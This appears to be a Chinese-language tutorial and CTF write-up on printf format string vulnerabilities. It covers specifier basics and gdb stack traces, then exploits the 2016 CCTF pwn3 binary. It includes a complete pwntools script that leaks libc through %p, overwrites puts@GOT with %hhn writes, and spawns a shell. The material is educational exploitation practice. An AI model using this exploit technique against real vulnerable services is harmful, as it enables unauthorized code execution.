格式化字符串

0x00 基础知识

触发格式化字符串漏洞的函数有限,主要就是printf,sprintf.fprintf等print家族函数,就用printf为例来记录一些相关的基础知识。

printf()函数的一般形式是printf("format",输出项),其中format是格式化参数,看一下它的结构吧:%[标志][输出最小宽度][.精度][长度]类型,其中跟格式化字符串漏洞有关系的主要有以下几点:

1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。

2、类型:

  • %c:输出字符,配上%n可用于向指定地址写数据。
  • %d:输出十进制整数,配上%n可用于向指定地址写数据。
  • %x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
  • %p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
  • %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
  • %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
  • %n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据

以上是需要关注的重点

0x01 漏洞的触发

printf()函数正常情况下的使用应该类似像这样:

1
2
3
char str[100];
scanf("%s",str);
printf("%s",str);

但是要是一不小心,可能会变成这样:

1
2
3
char str[100];
scanf("%s",str);
printf(str);

那么,因为我们输入的参数是可控的,如果我们输入的参数中结合format,那么我们就能进行相应的内存读取和写入

先把ASLR关了:

1
root@mask-virtual-machine:/home/mask/format_pwn# echo 0 > /proc/sys/kernel/randomize_va_space

第一个程序format.c

程序源码:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void)
{
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d\n",buf,a,b,c);
return 0;
}

然后编译(关闭了栈保护)

1
gcc -fno-stack-protector -o format format.c

运行:

1
2
mask@mask-virtual-machine:~/format_pwn$ ./format
test 1 2 3

运行正常,现在修改一下format参数,多加一个%x:

printf(“%s %d %d %d %x\n”,buf,a,b,c);

再编译运行:

1
2
3
4
5
6
mask@mask-virtual-machine:~/format_pwn$ gcc -fno-stack-protector -o format format.c
format.c: In function ‘main’:
format.c:6:8: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
printf("%s %d %d %d %x\n",buf,a,b,c);
^
mask@mask-virtual-machine:~/format_pwn$

编译有警告,但是依然通过了,输出结果:

1
2
mask@mask-virtual-machine:~/format_pwn$ ./format
test 1 2 3 b7fbb000

我们知道,这个%x的格式化参数后面并没有与之对应的输出项,但是依然可以输出数据,那么这个输出的数据在哪?它是什么?我们现在开始对这个程序进行调试分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Guessed arguments:
arg[0]: 0x80484f0 ("%s %d %d %d %x\n")
arg[1]: 0xbffff03f ("test")
arg[2]: 0x1
arg[3]: 0x2
arg[4]: 0x3
[------------------------------------stack-------------------------------------]
0000| 0xbffff010 --> 0x80484f0 ("%s %d %d %d %x\n")
0004| 0xbffff014 --> 0xbffff03f ("test")
0008| 0xbffff018 --> 0x1
0012| 0xbffff01c --> 0x2
0016| 0xbffff020 --> 0x3
0020| 0xbffff024 --> 0xb7fbb000 --> 0x1b1db0
0024| 0xbffff028 --> 0xb7fb9244 --> 0xb7e21020 (<_IO_check_libio>: )
0028| 0xbffff02c --> 0xb7e210ec (<init_cacheinfo+92>: test eax,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048451 in main ()
gdb-peda$ n
test 1 2 3 b7fbb000

这是运行printf时的堆栈布局,可以看到b7fbb000即为四个输出项的后一个栈中的数据,那么我们再加一个%x,是不是就能输出再下一个0xb7fb9244为了验证我们的想法对不对,再次修改程序

1
printf("%s %d %d %d %x %x \n",buf,a,b,c);

然后编译运行:

1
2
3
4
5
6
7
8
mask@mask-virtual-machine:~/format_pwn$ gcc -fno-stack-protector -o format format.c
format.c: In function ‘main’:
format.c:6:8: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
printf("%s %d %d %d %x %x\n",buf,a,b,c);
^
format.c:6:8: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
mask@mask-virtual-machine:~/format_pwn$ ./format
test 1 2 3 b7fbb000 b7fb9244

那么只要我们能够控制输入的format参数,那么我们就能一直读取内存数据

读完了,我们来看看怎样通过%n写数据

第二个程序format2.c

源码:

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
int main()
{
int num=66666666;

printf("Before: num = %d\n", num);
printf("%d%n\n", num, &num);
printf("After: num = %d\n", num);

return 0;
}

编译运行:

1
2
3
4
mask@mask-virtual-machine:~/format_pwn$ ./format2
Before: num = 66666666
66666666
After: num = 8

这样就实现了改写数据

0x02 实例分析

例子是2016CCTF的pwn3,正好利用了格式化字符串漏洞写数据

先分析源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // eax@2
int v4; // [sp+14h] [bp-2Ch]@1
signed int v5; // [sp+3Ch] [bp-4h]@2

setbuf(stdout, 0);
ask_username((char *)&v4);
ask_password((char *)&v4);
while ( 1 )
{
while ( 1 )
{
print_prompt();
v3 = get_command();
v5 = v3;
if ( v3 != 2 )
break;
put_file();
}
if ( v3 == 3 )
{
show_dir();
}
else
{
if ( v3 != 1 )
exit(1);
get_file();
}
}
}

发现有三个主要的功能函数,put_file,show_dir,get_file

然后还有登录函数ask_usernameask_password
跟进查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
char *__cdecl ask_username(char *dest)
{
char src[40]; // [sp+14h] [bp-34h]@1
int i; // [sp+3Ch] [bp-Ch]@1

puts("Connected to ftp.hacker.server");
puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
printf("Name (ftp.hacker.server:Rainism):");
__isoc99_scanf("%40s", src);
for ( i = 0; i <= 39 && src[i]; ++i )
++src[i];
return strcpy(dest, src);
}

把你输入的用户名字符串中的每个字符的ascii码+1

1
2
3
4
5
6
7
8
9
int __cdecl ask_password(char *s1)
{
if ( strcmp(s1, "sysbdmin") )
{
puts("who you are?");
exit(1);
}
return puts("welcome!");
}

等于”sysbadmin”就输出“welcome”并返回继续,不然就终止程序,那么用户名是“sysbdmin”字符串中每个字母的ascii码减1,即rxraclhm

然后运行一下程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
mask@mask-virtual-machine:~/format_pwn/CCTF$ ./pwn3 
Connected to ftp.hacker.server
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (ftp.hacker.server:Rainism):rxraclhm
welcome!
ftp>put
please enter the name of the file you want to upload:format
then, enter the content:hello,world
ftp>dir
format
ftp>get
enter the file name you want to get:format
hello,worldftp>

用ida分别查看那三个功能函数的伪代码,可以发现,get_file函数中存在格式化字符串漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int get_file()
{
char dest; // [sp+1Ch] [bp-FCh]@5
char s1; // [sp+E4h] [bp-34h]@1
char *i; // [sp+10Ch] [bp-Ch]@3

printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1);
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, &s1) )
{
strcpy(&dest, i + 40);
return printf(&dest);
}
}
return printf(&dest);
}

那么我们就可以利用这个漏洞以“/bin/sh”为参数调用system,也就实现了getshell

思路是:

  • 先读取puts@got的内容,得到puts的地址,之后通过lib中偏移量固定的方式算出system的地址
  • 将system地址写到puts@got里
  • 让程序去执行puts(‘/bin/sh’), 这时实际是执行system(‘/bin/sh’)

下面就开始调试分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mask@mask-virtual-machine:~/format_pwn/CCTF$ gdb ./pwn3 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./pwn3...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY: disabled
FORTIFY : disabled
NX: ENABLED
PIE : disabled
RELRO : Partial

开了NX

第一步,我们需要找到system的函数地址,这里我们需要通过格式化漏洞泄露出libc的地址然后去查询对应的版本

首先通过IDA可以知道printf的地址:

1
2
3
4
5
6
7
.text:08048895 lea eax, [ebp+dest]
.text:0804889B ; 18: return printf(&dest);
.text:0804889B mov [esp], eax ; format
.text:0804889E call_printf
.text:080488A3 leave
.text:080488A4 retn
.text:080488A4 get_fileendp

那么我们下断点 :

1
2
gdb-peda$ b *0x0804889E
Breakpoint 1 at 0x804889e

运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[----------------------------------registers-----------------------------------]
EAX: 0xbfffef0c --> 0x0
EBX: 0x0
ECX: 0x71 ('q')
EDX: 0x804b410 --> 0x20 (' ')
ESI: 0xb7fbb000 --> 0x1b1db0
EDI: 0xb7fbb000 --> 0x1b1db0
EBP: 0xbffff008 --> 0xbffff058 --> 0x0
ESP: 0xbfffeef0 --> 0xbfffef0c --> 0x0
EIP: 0x804889e (<get_file+168>: call 0x80484c0 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048893 <get_file+157>: jne0x8048853 <get_file+93>
0x8048895 <get_file+159>: leaeax,[ebp-0xfc]
0x804889b <get_file+165>: movDWORD PTR [esp],eax
=> 0x804889e <get_file+168>: call 0x80484c0 <printf@plt>
0x80488a3 <get_file+173>: leave
0x80488a4 <get_file+174>: ret
0x80488a5 <get_command>: push ebp
0x80488a6 <get_command+1>: movebp,esp
Guessed arguments:
arg[0]: 0xbfffef0c --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbfffeef0 --> 0xbfffef0c --> 0x0
0004| 0xbfffeef4 --> 0xbfffefd4 --> 0xb7fb0071 --> 0x2300e4d
0008| 0xbfffeef8 --> 0x4
0012| 0xbfffeefc --> 0x0
0016| 0xbfffef00 --> 0x0
0020| 0xbfffef04 --> 0x0
0024| 0xbfffef08 --> 0x0
0028| 0xbfffef0c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804889e in get_file ()
gdb-peda$

然后stack 100查看栈上的内容,可以发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
gdb-peda$ stack 100
0000| 0xbfffeef0 --> 0xbfffef0c --> 0x0
0004| 0xbfffeef4 --> 0xbfffefd4 --> 0xb7fb0071 --> 0x2300e4d
0008| 0xbfffeef8 --> 0x4
0012| 0xbfffeefc --> 0x0
0016| 0xbfffef00 --> 0x0
0020| 0xbfffef04 --> 0x0
0024| 0xbfffef08 --> 0x0
0028| 0xbfffef0c --> 0x0
0032| 0xbfffef10 --> 0x0
0036| 0xbfffef14 --> 0x0
0040| 0xbfffef18 --> 0x0
0044| 0xbfffef1c --> 0x0
0048| 0xbfffef20 --> 0x0
0052| 0xbfffef24 --> 0x0
0056| 0xbfffef28 --> 0x0
0060| 0xbfffef2c --> 0x0
0064| 0xbfffef30 --> 0x0
0068| 0xbfffef34 --> 0x0
0072| 0xbfffef38 --> 0x0
0076| 0xbfffef3c --> 0x0
0080| 0xbfffef40 --> 0x0
0084| 0xbfffef44 --> 0x0
0088| 0xbfffef48 --> 0x0
0092| 0xbfffef4c --> 0x0
0096| 0xbfffef50 --> 0x0
--More--(25/100)
0100| 0xbfffef54 --> 0x0
0104| 0xbfffef58 --> 0x0
0108| 0xbfffef5c --> 0x0
0112| 0xbfffef60 --> 0x0
0116| 0xbfffef64 --> 0x0
0120| 0xbfffef68 --> 0x0
0124| 0xbfffef6c --> 0x0
0128| 0xbfffef70 --> 0x0
0132| 0xbfffef74 --> 0x0
0136| 0xbfffef78 --> 0x0
0140| 0xbfffef7c --> 0x0
0144| 0xbfffef80 --> 0x0
0148| 0xbfffef84 --> 0x0
0152| 0xbfffef88 --> 0x0
0156| 0xbfffef8c --> 0xb7fbb000 --> 0x1b1db0
0160| 0xbfffef90 --> 0xb7fbb5a0 --> 0xfbad2288
0164| 0xbfffef94 --> 0x804a060 --> 0xb7fbb5a0 --> 0xfbad2288
0168| 0xbfffef98 --> 0xbfffefd8 --> 0xbffff008 --> 0xbffff058 --> 0x0
0172| 0xbfffef9c --> 0xb7e6513e (<__isoc99_scanf+126>: addesp,0x10)
0176| 0xbfffefa0 --> 0xb7fbb5a0 --> 0xfbad2288
0180| 0xbfffefa4 --> 0x8048bc5 --> 0x733325 ('%3s')
0184| 0xbfffefa8 --> 0xbfffefe4 --> 0x8048bc9 --> 0x746567 ('get')
0188| 0xbfffefac --> 0x0
0192| 0xbfffefb0 --> 0x0
0196| 0xbfffefb4 --> 0x0
--More--(50/100)
0200| 0xbfffefb8 --> 0xb7e4b0cb (<_IO_vfprintf_internal+11>: addebx,0x16ff35)
0204| 0xbfffefbc --> 0xb7ffd940 (0xb7ffd940)
0208| 0xbfffefc0 --> 0xb7fbb000 --> 0x1b1db0
0212| 0xbfffefc4 --> 0xb7fbb000 --> 0x1b1db0
0216| 0xbfffefc8 --> 0xb7e650cb (<__isoc99_scanf+11>: addebx,0x155f35)
0220| 0xbfffefcc --> 0x0
0224| 0xbfffefd0 --> 0xb7fbb000 --> 0x1b1db0
0228| 0xbfffefd4 --> 0xb7fb0071 --> 0x2300e4d
0232| 0xbfffefd8 --> 0xbffff008 --> 0xbffff058 --> 0x0
0236| 0xbfffefdc --> 0x80488d9 (<get_command+52>: test eax,eax)
0240| 0xbfffefe0 --> 0xbfffeffc --> 0x0
0244| 0xbfffefe4 --> 0x8048bc9 --> 0x746567 ('get')
0248| 0xbfffefe8 --> 0x3
0252| 0xbfffefec --> 0x8048949 (<print_prompt+18>: leave)
0256| 0xbfffeff0 --> 0x8048bd5 ("ftp>")
0260| 0xbfffeff4 --> 0x0
0264| 0xbfffeff8 --> 0x1
0268| 0xbfffeffc --> 0x0
0272| 0xbffff000 --> 0xb7fbbd60 --> 0xfbad2887
0276| 0xbffff004 --> 0xb7fff918 --> 0x0
0280| 0xbffff008 --> 0xbffff058 --> 0x0
0284| 0xbffff00c --> 0x80486c9 (<main+92>: jmp0x80486e5 <main+120>)
0288| 0xbffff010 --> 0xbffff024 ("sysbdmin")
0292| 0xbffff014 --> 0x0
0296| 0xbffff018 --> 0xb7fb9244 --> 0xb7e21020 (<_IO_check_libio>: )
--More--(75/100)
0300| 0xbffff01c --> 0x8048471 (<_init+9>: addebx,0x1b8f)
0304| 0xbffff020 --> 0x1
0308| 0xbffff024 ("sysbdmin")
0312| 0xbffff028 ("dmin")
0316| 0xbffff02c --> 0x8048a00 (<ask_password+42>: addal,0x24)
0320| 0xbffff030 --> 0x1
0324| 0xbffff034 --> 0xbffff0f4 --> 0xbffff2cb ("/home/mask/format_pwn/CCTF/pwn3")
0328| 0xbffff038 --> 0xbffff0fc --> 0xbffff2eb ("XDG_VTNR=7")
0332| 0xbffff03c --> 0xb7e37c0b (<__GI___cxa_atexit+27>: addesp,0x10)
0336| 0xbffff040 --> 0xb7fbb3dc --> 0xb7fbc1e0 --> 0x0
0340| 0xbffff044 --> 0x8048288 --> 0x77 ('w')
0344| 0xbffff048 --> 0x8048aab (<__libc_csu_init+11>: addebx,0x1555)
0348| 0xbffff04c --> 0x1
0352| 0xbffff050 --> 0xb7fbb000 --> 0x1b1db0
0356| 0xbffff054 --> 0xb7fbb000 --> 0x1b1db0
0360| 0xbffff058 --> 0x0
0364| 0xbffff05c --> 0xb7e21637 (<__libc_start_main+247>: addesp,0x10)
0368| 0xbffff060 --> 0x1
0372| 0xbffff064 --> 0xbffff0f4 --> 0xbffff2cb ("/home/mask/format_pwn/CCTF/pwn3")
0376| 0xbffff068 --> 0xbffff0fc --> 0xbffff2eb ("XDG_VTNR=7")
0380| 0xbffff06c --> 0x0
0384| 0xbffff070 --> 0x0
0388| 0xbffff074 --> 0x0
0392| 0xbffff078 --> 0xb7fbb000 --> 0x1b1db0
0396| 0xbffff07c --> 0xb7fffc04 --> 0x0
--More--(100/100)

可以看到在栈上第91个位置存在libc_start_main+247,即libc_start_main_ret的地址,那么构造printf("%91$p")即可以将该地址的值泄露出来:

1
2
3
4
5
6
7
8
9
10
11
mask@mask-virtual-machine:~/format_pwn/CCTF$ ./pwn3 
Connected to ftp.hacker.server
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (ftp.hacker.server:Rainism):rxraclhm
welcome!
ftp>put
please enter the name of the file you want to upload:test
then, enter the content:%91$p
ftp>get
enter the file name you want to get:test
0xb7e21637ftp>

验证了确实和调试时栈上显示的一样,那么

__libc_start_main的地址为:0xb7e21637-f7(16进制的247) = 0xb7e21540

这里使用一个工具libc-database,非常方便查找libc版本

1
2
3
mask@mask-virtual-machine:~/libc-database$ ./find __libc_start_main 0xb7e21540
ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386)
ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu9_amd64)

然后非常喜欢这个dump功能:

1
2
3
4
5
6
7
8
9
10
mask@mask-virtual-machine:~/libc-database$ ./find __libc_start_main 0xb7e21540
ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386)
ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu9_amd64)
mask@mask-virtual-machine:~/libc-database$ ./dump libc6_2.23-0ubuntu9_i386
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6300
offset_read = 0x000d5af0
offset_write = 0x000d5b60
offset_str_bin_sh = 0x15b9ab

很赞!!

那么
system_addr = __libc_start_main_ret-0x18637+offset_system = 0xB7E43DA0

验证一下:

1
2
gdb-peda$ print system
$3 = {<text variable, no debug info>} 0xb7e43da0 <__libc_system>

然后就是要吧system_addr写到put地址处

1
mask@mask-virtual-machine:~/format_pwn/CCTF$ objdump -R pwn3
1
pwn3: 文件格式 elf32-i386
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT__gmon_start__
0804a060 R_386_COPYstdin@@GLIBC_2.0
0804a080 R_386_COPYstdout@@GLIBC_2.0
0804a00c R_386_JUMP_SLOT setbuf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT strcmp@GLIBC_2.0
0804a014 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a018 R_386_JUMP_SLOT bzero@GLIBC_2.0
0804a01c R_386_JUMP_SLOT fread@GLIBC_2.0
0804a020 R_386_JUMP_SLOT strcpy@GLIBC_2.0
0804a024 R_386_JUMP_SLOT malloc@GLIBC_2.0
0804a028 R_386_JUMP_SLOT puts@GLIBC_2.0
0804a02c R_386_JUMP_SLOT __gmon_start__
0804a030 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a034 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a038 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
0804a03c R_386_JUMP_SLOT strncmp@GLIBC_2.0

然后开始编写exp:

1
2
3
4
#!/usr/bin/env python
from pwn import *

# context.log_level = 'debug'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
elf = ELF('pwn3')
libc = ELF('./libc.so')

pr = process('./pwn3')
# pr = remote('120.27.155.82', 9000)

username = "rxraclhm"

pr.recvuntil("Name (ftp.hacker.server:Rainism):")
pr.sendline(username)

# 1 -> get
# 2 -> put
# 3 -> dir
# other -> exit

def put(pr, name, content):
pr.recvuntil("ftp>")
pr.sendline('put')
pr.recvuntil("upload:")
pr.sendline(name)
pr.recvuntil("content:")
pr.sendline(content)

def get(pr, name, num):
pr.recvuntil("ftp>")
pr.sendline('get')
pr.recvuntil('get:')
pr.sendline(name)
return pr.recvn(num)

def dir(pr):
pr.recvuntil("ftp>")
pr.sendline('dir')

plt_puts = elf.symbols['puts']
print 'plt_puts= ' + hex(plt_puts)
got_puts = elf.got['puts']
print 'got_puts= ' + hex(got_puts)

# /bin/sh
put(pr, '/sh', '%8$s' + p32(got_puts))
text = get(pr, '/sh', 4)
puts_addr = u32(text)
print 'puts_addr= ' + hex(puts_addr)
system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)

def foo(name, address, num):
num = num & 0xff
if num == 0 : num == 0x100
payload = '%' + str(num) + 'c%10$hhn'
payload = payload.ljust(12, 'A')
put(pr, name, payload + p32(address))
get(pr, name, 0)

foo('n', got_puts, system_addr)
foo('i', got_puts+1, system_addr>>8)
foo('b', got_puts+2, system_addr>>16)
foo('/', got_puts+3, system_addr>>24)

# system("/bin/sh")
dir(pr)
pr.interactive()

运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mask@mask-virtual-machine:~/format_pwn/CCTF$ python exp.py 
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/mask/format_pwn/CCTF/pwn3'
Arch: i386-32-little
RELRO:Partial RELRO
Stack:No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/mask/format_pwn/CCTF/libc.so'
Arch: i386-32-little
RELRO:Partial RELRO
Stack:Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwn3': pid 2269
plt_puts= 0x8048510
got_puts= 0x804a028
puts_addr= 0xb7e68ca0
system_addr= 0xb7e43da0
[*] Switching to interactive mode
$ id
uid=1000(mask) gid=1000(mask) 组=1000(mask),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ whoami
mask
$